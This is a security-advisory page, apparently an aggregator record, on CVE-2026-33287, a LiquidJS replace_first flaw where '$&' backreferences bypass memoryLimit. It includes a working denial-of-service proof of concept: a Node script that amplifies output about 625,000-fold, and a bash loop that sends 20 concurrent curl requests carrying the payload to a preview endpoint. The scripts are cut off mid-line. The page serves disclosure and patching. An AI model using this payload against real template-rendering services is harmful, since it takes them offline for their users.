KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 18:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-33287

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output.

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: liquidjs: 10.25.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-6q5m-63h6-5x4v (opens a new tab)

What happened

Summary

The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

Details

The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and ` $ `` (insert the portion before the match).

Continue reading

The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

| Stage | Input Size | $& Repetitions | Output Size | Cumulative memoryLimit Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |

Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).

Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.

// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
 const str = stringify(v)
 this.context.memoryLimit.use(str.length) // Only charges input
 return str.replace(stringify(arg1), arg2) // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
 const str = stringify(v)
 this.context.memoryLimit.use(str.length)
 return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal
}

PoC

Prerequisites: - npm install liquidjs@10.24.0 - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:

const { Liquid } = require('liquidjs');

(async () => {
 const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

 // Step 1 — Verify $& expansion in replace_first
 console.log('=== Step 1: $& expansion in replace_first ===');
 const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
 console.log('Result:', await engine.parseAndRender(step1));
 // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

 // Step 2 — Verify replace (split/join) is safe
 console.log('\n=== Step 2: replace is safe ===');
 const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
 console.log('Result:', await engine.parseAndRender(step2));
 // Output: "$&$&$&" — $& treated as literal

 // Step 3 — 5-stage exponential amplification (50x per stage)
 console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
 const amp50 = '$&'.repeat(50);
 const step3 = [
 '{% assign s = "A" %}',
 '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
 '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
 '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
 '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
 '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
 '{{ s | size }}'
 ].join('');

 const startMem = process.memoryUsage().heapUsed;
 const result = await engine.parseAndRender(step3);
 const endMem = process.memoryUsage().heapUsed;

 console.log('Output string size:', result.trim(), 'bytes'); // "312500000"
 console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
 console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
 console.log('memoryLimit charged: `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

bash #!/bin/bash

DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&' REP50=$(printf "${DOLLAR}%.0s" {1..50}) PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

20 DoS attack requests (per-request timing)

for i in $(seq 1 20); do ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 120 -X POST "http:// /newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=$PAYLOAD" t2=$(date +%s%3N) echo "DoS[$i]: $(( t2 - t1 ))ms" ) & done

Legitimate user requests at 0s, 3s, 6s

( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http:// /newsletter/preview" \ -H "Content-Type: application/x-

Affected package ranges reported by GitHub: liquidjs: < 10.25.1

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-6q5m-63h6-5x4v (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-6q5m-63h6-5x4v, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 29). LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern (CVE-2026-33287). https://kevwire.com/record/CVE-2026-33287

MLA

"LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern (CVE-2026-33287)." KEVWire, 29 Oct. 2026, kevwire.com/record/CVE-2026-33287.

Chicago

KEVWire. "LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern (CVE-2026-33287)." Last modified October 29, 2026. https://kevwire.com/record/CVE-2026-33287.

Evidence summary (plain text)

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern (Mar 25, 2026).
The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace().
CVSS 7.5 (version 3.1; evidence as of Oct 29, 2026; https://github.com/advisories/GHSA-6q5m-63h6-5x4v).
Sources:
GitHub-reviewed advisory GHSA-6q5m-63h6-5x4v: https://github.com/advisories/GHSA-6q5m-63h6-5x4v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-33287.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 18:26 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail